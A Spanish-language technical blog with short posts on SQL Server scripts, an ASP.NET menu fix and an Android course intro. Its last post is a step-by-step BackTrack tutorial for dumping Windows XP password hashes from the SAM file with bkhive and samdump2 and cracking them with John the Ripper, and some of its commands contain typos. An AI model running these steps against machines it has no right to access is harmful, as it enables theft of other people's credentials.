martes, 17 de diciembre de 2013

Script para eliminar las conecciones de la Base de datos

 
DECLARE @dbname nvarchar(128)
SET @dbname = 'NOMBRE DE LA BASE DE DATOS'
DECLARE @processid int 
SELECT @processid = min(spid) 
from master.dbo.sysprocesses 
where dbid = db_id(@dbname) 
WHILE @processid IS NOT NULL 
BEGIN 
EXEC ('KILL ' + @processid) 
SELECT @processid = min(spid) 
from master.dbo.sysprocesses 
where dbid = db_id(@dbname) 
END

miércoles, 29 de mayo de 2013

ASP .NET menu carga muy lento

 
  1. Remplaza  <body> tag de tu pagina con lo siguiente:
    <body onload=”document.getElementById(‘div_Menu’).style.visibility=’visible’”>
  2. Luego al menu ponlo en el siguiente div :
    <div id=’div_Menu’ style=’visibility: hidden’;>

Despues de Esto ya se cargara mas rapido
 

viernes, 24 de mayo de 2013

Resetear el valor del campo identity

Resetear el valor del campo identity:
 
DBCC CHECKIDENT <NombreDeTabla>,RESEED,NuevoValor

Hay que tener mucho cuidado con el uso de este comando, ya que podemos setear un valor menor al máximo de la tabla actual y crear en algún momento un valor duplicado. 
Una opción interesante de este comando es asignar al campo el valor máximo de la tabla + 1, y así garantizar que no tendremos problemas de registros duplicados, para eso solo hay que poner:

DBCC CHECKIDENT <NombreDeTabla>

Funcion MS SQL Server para sacar las tildes




CREATE FUNCTION QuitarTildes ( @Palabra VARCHAR(100) )
RETURNS VARCHAR(100)
AS
BEGIN
RETURN REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(@Palabra , 'á', 'a'), 'é','e'), 'í', 'i'), 'ó', 'o'), 'ú','u')
END

martes, 11 de septiembre de 2012

Desarrollando aplicaciones para Android - Clase 00



android2

¿Qué es Android?
  • Sistema operativo móvil basado en Linux (libre, gratuito y multiplataforma).
  • Usado en teléfonos celulares (smartphones) y tablets.
  • Permite programar aplicaciones en una variación de Java llamada Dalvik.

¿Qué versiones de Android están disponibles?
  • Android 2.0
  • Android 2.1 (API 7)
  • Android 2.2 (API 8)
  • Android 2.3.3 (API 10)
  • Android 3.0 (API 11)
  • Android 3.1 (API 12)

¿Qué necesito para desarrollar en Android?
  • IDE de desarrollo Eclipse (INDIGO).
  • Plugin Android para Eclipse:(https://dl-ssl.google.com/android/eclipse/)
  • Android Development Tools  (ADT).
  • Android Virtual Device (AVD).
¿Cómo se estructura un proyecto en Android?
  • Carpeta src: código fuente de la aplicación.
  • Carpeta gen: código generados automáticamente al compilar el proyecto.
  • Carpeta assets: archivos auxiliares necesarios para la aplicación.
  • Carpeta res: archivos de recursos necesarios para el proyecto: imágenes, vídeos, cadenas de texto, etc.
  • Archivo AndroidManifest.xml: Contiene la definición en XML de los aspectos principales de la aplicación, como por ejemplo su identificación (nombre, versión, icono), sus componentes (pantallas, mensajes), o los permisos necesarios para su ejecución. 
 

jueves, 27 de octubre de 2011

Claves de Windows con BackTrack 5 R1

Objetivo

Obtener los passwords de los diferentes usuarios de windows XP


Paso 1

Lo primero que debemos hacer es encender el computador, Bootear desde el dispositivo que contenga el BackTrack 5 R1.
 

Paso 2

En BackTrack 5 R1 tenemos seis opciones de arranque que son:
  • BackTrack Text
  • BackTrack Stealth
  • BackTrack Forensics
  • BackTrack Debus
  • BackTrack Mentest
  • Hard Drive Boot


Seleccionamos  BackTrack Text y nos va mostrar :

root@root:~#


Paso 3

Luego realizamos el siguiente comando para ver las particiones que tenemos

fdisk -l

Una vez sabiendo en que partición esta windows  creamos una carpeta

mkdir /media/winOS


Paso 4

Montamos la partición de Windows colocando el nombre de nuestro dispositivo
(para el ejemplo usaremos sda1).

sudo mount /dev/sda1 /media/winOS


Paso5

Ejecutamos bkhive sobre el archivo system, este comando no ayudará a extraer la información necesaria guardando el resultado en el archivo pass
Esto lo logramos con el siguiente comando:

bkhive /media/winOS/WINDOWS/system32/config/system pass


Paso 6 

Ejecutamos samdump2 sobre los archivos SAM y pass. pass que es la copia de system nos ayudará a descifrar el archivo SAM, y el resultado lo guardamos en el archivo pass1:

samdump2 /media/winOS/WINDOWS/system32/config/SAM pass > pass1


Paso 7

Debemos copiar al archivo pass1 a la carpeta de John:
cp pass1 /pentest/password/john

y luego nos dirigimos a esta ruta

root@root: cd /pentes/paswwords/john




Paso 8

Ejecutamos

root@root: ./johm pass1 


recuerden que john the ripper es una aplicación de fuerza bruta tomara el tiempo dependiendo de la clave